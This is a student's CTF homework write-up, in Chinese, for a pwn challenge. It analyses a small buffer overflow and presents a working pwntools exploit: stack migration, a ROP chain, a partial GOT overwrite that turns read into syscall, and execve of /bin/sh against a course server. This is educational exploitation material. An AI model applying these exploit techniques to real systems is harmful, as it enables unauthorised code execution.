CTF HW3 - Readme

0316313 張逸群

Observation

- 主程式
  - 
    ```c
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    int main(){
        char buf[0x20];
        setvbuf(stdout,0,_IONBF,0);
        printf("Read your input:");
        read(0,buf,0x30);
        return 0 ;
    }
    ```
  - 可以發現在第 9 行的地方對 buf 進行 read，有 buffer overflow 的漏洞
  - 但僅可以 overflow 0x10 的空間，因此須先 overflow `rbp` 以及 `ret`
  - 其後使用 `read gadget` 進行 `rop chain` 的寫入
- read gadget
  - ```
    000000000040062b        lea         rax, qword [rbp+var_20]
    000000000040062f        mov         edx, 0x30                   ; argument "nbyte" for method j_read
    0000000000400634        mov         rsi, rax                    ; argument "buf" for method j_read
    0000000000400637        mov         edi, 0x0                    ; argument "fildes" for method j_read
    000000000040063c        call        j_read
    0000000000400641        mov         eax, 0x0
    0000000000400646        leave
    0000000000400647        ret
    ```
  - 因為其後接著 `leave` 以及 `ret`，須先控制 `rbp` 並做 `stack migration`
    - 此次作業是用兩段記憶體空間進行輪流寫入，以寫出 `final rop chain`
- vmmap
    ```

```
gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00401000         r-xp      /home/toosyou/projects/pwn/hw3/readme/readme-fc826c708f619e14b137630581b766b23e3db765
0x00600000         0x00601000         r--p      /home/toosyou/projects/pwn/hw3/readme/readme-fc826c708f619e14b137630581b766b23e3db765
0x00601000         0x00602000         rw-p      /home/toosyou/projects/pwn/hw3/readme/readme-fc826c708f619e14b137630581b766b23e3db765
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p      mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fe7000 0x00007ffff7fea000 rw-p      mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p      mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p      [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp      [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p      mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp      [vsyscall]
```

  - 可以發現在 `0x601000 – 0x602000` 的地方可以進行讀寫
    - 其中開頭及結尾的部分被程式使用，需避開
  - 可將 `stack` `rop chain` 放置至此
- partial got hijack

```
                        read:
00000000000f7220          cmp         dword [argp_program_version_hook+480], 0x0  ; CODE XREF=sub_29ca0+451, _IO_file_read+59
00000000000f7227          jne         loc_f7239

00000000000f7229          mov         eax, 0x0
00000000000f722e          syscall
00000000000f7230          cmp         rax, 0xfffffffffffff001
00000000000f7236          jae         loc_f7269

00000000000f7238          ret
                        ; endp
```

  - `stack` 在 `0x601000 – 0x602000` 的位置並**不足夠**使用 `printf` 進行 leaking
  - 在 `read` function 內的 `0xf722e` 的位置有 `syscall`
    - 因此使用 partial got hijack 的方式
    - 將 `read@got` 第一個 `byte` 寫成 `0x2e` 即可使用 `read@plt` 呼叫 `syscall`

Solver

- 使用 `read gadget` 以寫入 `rop chain`

```
114     def main_chain(rbp_address, payload, leave=False):
115         c = payload
116         c += pack(rbp_address) # rbp = rbp_address
117         if leave:
118             c += pack(0x0000000000400646) # leave; ret
119         else:
120             c += pack(0x40062b) # read(0, rbp-0x20, 0x30)
121 
122         return c
```

  - `payload` 長度需為 `0x20`
  - 之後放入 `rbp address` 以進行 `stack migration`
  - 最後放入 `read gadget address`
- main function

```python
if __name__ == '__main__':
    if pwnlib.args.args['REMOTE']:
        p = pwn.connect('csie.ctf.tw', 10135)
    else:
        p = pwn.process('./readme-fc826c708f619e14b137630581b766b23e3db765')

    libc = pwn.ELF('./libc.so.6-14c22be9aa11316f89909e4237314e009da38883')
    fc = final_chain()
    print p.recvuntil(':') # read your input:
    p.send(main_chain(buf1_address, 'x'*0x20))

    for i in range(len(fc)//0x20):
        p.send(main_chain(buf2_address+0x20*i, fc[i*0x20:(i+1)*0x20]))
        time.sleep(0.01)
        p.send(main_chain(buf1_address, fc[i*0x20:(i+1)*0x20]))

    p.send(main_chain(buf2_address-0x20, '/bin/sh\x00'.ljust(0x20), leave=True))
    time.sleep(0.5)
    p.send('\x2E') # partial_got_overwrite
    leak_printf_got = pwn.u64(p.recv(0x8))
    p.recv(59-0x8)

    # calculate libc base
    libc_base = leak_printf_got - libc.symbols['printf']

    # pwn.gdb.attach(p, gdbscript='x/xg 0x601020')
    p.interactive()
    print p.recvall()
```

- 將 `final_chain` 塞入 `memory`
  a. 先進行第一次 `buffer overflow`，並將 `rbp` 設為 `buf1_address`
  b. 其後在 `buf1_address` 中寫入 `'x'*20 + buf2_address + read_gadget_address`
  c. 之後便可以在 `buf2_address` 寫入 `final_chain`，但只能寫入 `0x20` 的長度，設定 `rbp` 回 `buf1_address`
  d. 重複 `2-3` 步直到 `final_chain` 寫完
- 將 `final_chain` 寫入之後便可以移到 `buf2_address-0x20` 的位置，開始進行 `final rop chain`
- 寫入 `/bin/sh` 至 `buf1_address` 以便之後使用

- final chain

```python
def final_chain():
    c = ''
    c += pack(buf2_address-0x20+8) # rbp = buf2_address-0x20+8
    c += partial_got_overwrite(1)
    # read == syscall
    c += leak_printf()
    c += execve_binsh()

    for i in range(30):
        c += pack(0x0000000000400499) # ret
    return c
```

- `final_chain` 先對 `read@got` 進行 partial got hijack
- 之後以 `syscall` 進行 `write`，將 `59` 個 `byte` 輸出至 `stdout`，以便之後使用 `sys_execve`

    - 最後使用 `sys_execve` 執行 `/bin/sh`
    - 後面放入 `ret` padding，以方便先前的輸入
- partial got hijack
    -
```python
def partial_got_overwrite(nbytes):
    c = ''
    c += pack(0x00000000004006ab) # pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    c += pack(1) # rbp = 1
    c += pack(read_got_address) # r12
    c += pack(nbytes) # edx
    c += pack(read_got_address) # rsi, buf*
    c += pack(0) # edi, fildes
    c += pack(0x00000000004006b3) # pop rdi ; ret
    c += pack(0) # rdi = 0
    c += pack(0x0000000000400686)   # xor ebx, ebx
                                    # nop dword[rax + rax]
                                    # mov rdx, r13
                                    # mov rsi, r14
                                    # mov edi, r15d
                                    # call qword[r12 + rbx*8] # push rip+8
    # add rsp, 8
    c += pack(0)
    # pop rbx, rbp, r12, r13, r14, r15
    c += pack(0)
    c += pack(buf2_address-0x20+8) # rbp = buf2_address-0x20+8
    c += pack(0)
    c += pack(nbytes)
    c += pack(read_got_address)
    c += pack(0)
    # rtn
    return c
```
    - 使用 `rop chain` 以將 `read@got` 第一個 `byte` 寫成 `0x2e`
    - 其後 `read` 變成了 `syscall`